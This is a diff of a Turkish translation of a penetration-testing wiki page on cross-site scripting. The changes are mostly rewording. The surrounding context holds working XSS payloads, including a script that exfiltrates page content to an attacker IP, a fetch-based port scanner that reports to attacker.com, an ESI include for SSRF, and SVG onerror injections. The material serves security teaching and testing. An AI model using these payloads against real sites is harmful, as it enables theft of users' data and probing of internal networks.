Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
|
||||
|
||||
### Self-XSS'i Yükseltme
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
|
||||
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı bulursanız**, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -782,7 +783,7 @@ Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
**RoR kütle ataması** nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve etiketin içine ek alanlar (onfocus) eklenebilir.\
|
||||
**RoR kütle ataması** nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
|
||||
Form örneği ([bu rapordan](https://hackerone.com/reports/709336)), eğer yükü gönderirseniz:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -825,10 +826,10 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS ile 302 yanıtında başlık enjeksiyonu
|
||||
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durumu kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durumu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Location başlığı_, `resource://`.
|
||||
|
||||
### Sadece Harfler, Sayılar ve Noktalar
|
||||
|
||||
@ -836,7 +837,7 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
|
||||
|
||||
### XSS için Geçerli `<script>` İçerik Türleri
|
||||
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
|
||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
|
||||
|
||||
@ -862,13 +863,15 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Script Türleri için XSS
|
||||
### Script Türleri ile XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **modül** (varsayılan, açıklamaya gerek yok)
|
||||
Cevap şudur:
|
||||
|
||||
- **module** (varsayılan, açıklamaya gerek yok)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası olarak paketlemenizi sağlayan bir özelliktir.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -1230,7 +1233,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```
|
||||
## XSS yaygın yükler
|
||||
|
||||
### Birden Fazla Yük
|
||||
### 1'de Birkaç Yük
|
||||
|
||||
{{#ref}}
|
||||
steal-info-js.md
|
||||
@ -1269,7 +1272,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler
|
||||
> [!NOTE]
|
||||
> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer yeterince şanslıysanız.
|
||||
|
||||
### Sayfa İçeriğini Çalmak
|
||||
### Sayfa İçeriğini Çal
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1339,7 +1342,7 @@ q.shift()()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Port Tarayıcı (fetch)
|
||||
### Port Scanner (fetch)
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
@ -1506,9 +1509,9 @@ Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirs
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS'den SSRF'ye
|
||||
### XSS ile SSRF
|
||||
|
||||
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile **bunu SSRF'ye yükseltmeyi** deneyin:
|
||||
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile Edge Side Include Injection aracılığıyla **bunu SSRF'ye yükseltmeyi** deneyin:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
@ -1517,14 +1520,14 @@ Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-inje
|
||||
|
||||
### Dinamik oluşturulan PDF'de XSS
|
||||
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **rastgele JS kodu çalıştırmasını** sağlayabilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot bazı** türde **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
@ -1532,9 +1535,9 @@ pdf-injection.md
|
||||
|
||||
### Amp4Email'de XSS
|
||||
|
||||
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
|
||||
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenmiş HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
|
||||
|
||||
Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
@ -1596,9 +1599,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Find **daha fazla SVG yüklemesi için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Çeşitli JS Hileleri ve İlgili Bilgiler
|
||||
## Misc JS Tricks & Relevant Info
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
|
Loading…
x
Reference in New Issue
Block a user